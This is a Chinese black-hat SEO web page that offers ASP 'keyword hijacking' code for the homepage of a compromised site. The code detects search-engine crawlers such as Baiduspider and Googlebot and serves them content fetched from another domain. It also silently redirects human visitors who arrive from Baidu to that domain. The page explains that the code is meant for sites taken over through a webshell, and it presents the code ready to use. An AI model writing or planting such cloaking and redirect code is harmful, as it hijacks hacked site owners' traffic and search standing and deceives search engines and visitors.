ASP搜索引擎关键词劫持跳转代码

关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断…

<% 
function GetBot() 
'查询蜘蛛 
dim s_agent 
GetBot="" 
s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句 
if instr(1,s_agent,"googlebot",1) >0 then 
GetBot="google" 
end if 
if instr(1,s_agent,"msnbot",1) >0 then 
GetBot="MSN" 
end if 
if instr(1,s_agent,"slurp",1) >0 then 
GetBot="Yahoo" 
end if 
if instr(1,s_agent,"baiduspider",1) >0 then 
GetBot="baidu" 
end if 
if instr(1,s_agent,"sohu-search",1) >0 then 
GetBot="Sohu" 
end if 
if instr(1,s_agent,"lycos",1) >0 then 
GetBot="Lycos" 
end if 
if instr(1,s_agent,"robozilla",1) >0 then 
GetBot="Robozilla" 
end if 
end function 
Function getHTTPPage(Path) 
t = GetBody(Path) 
getHTTPPage=BytesToBstr(t,"GB2312")'编码 
End function 
Function Newstring(wstr,strng) 
Newstring=Instr(lcase(wstr),lcase(strng)) 
if Newstring<=0 then Newstring=Len(wstr) 
End Function 
Function GetBody(url) 
on error resume next 
Set Retrieval = CreateObject("Microsoft.XMLHTTP") 
With Retrieval 
.Open "Get", url, False, "", "" 
.Send 
GetBody = .ResponseBody 
End With 
Set Retrieval = Nothing 
End Function 
Function BytesToBstr(body,Cset) 
dim objstream 
set objstream = Server.CreateObject("adodb.stream") 
objstream.Type = 1 
objstream.Mode =3 
objstream.Open 
objstream.Write body 
objstream.Position = 0 
objstream.Type = 2 
objstream.Charset = Cset 
BytesToBstr = objstream.ReadText 
objstream.Close 
set objstream = nothing 
End Function 
Dim wstr,str,url,start,over,dtime 
if GetBot="baidu" then 
'给百度蜘蛛定制的内容 
url="https://www.zhanniao.cn" 
'想要展示给蜘蛛的页面地址 
wstr=getHTTPPage(url) 
body=wstr 
response.write ""&body&"" 
response.end 
elseif GetBot="google" then 
'给google 蜘蛛定制的内容 
url="https://www.zhanniao.cn" 
wstr=getHTTPPage(url) 
body=wstr 
response.write ""&body&"" 
response.end 
end if 
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then 
'如果用户来自www.baidu.com 
response.redirect("https://www.zhanniao.cn/") 
'跳转指定地址 
end if 
%>
PbootCMS

绿色环保设备pbootcms企业网站模板 环保企业网站源码下载

2021-11-18 22:42:43

软件工具黑帽资源

实时监控新闻网文章采集 支持多个新闻平台

2019-2-4 10:20:30

⚠️
本站提供的源码、模板、软件工具等其他资源,均不包含技术服务,请大家谅解!
本站所有内容仅限学习交流,请在下载后24小时之内自行删除,不要用于商业用途。
下载所需积分可通过日常 签到、评论、关注 等途径免费获得,详情查看任务中心
若您的权利被侵害,请联系站长 QQ: 45644699 或者 留言反馈 ,我们将尽快处理。
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索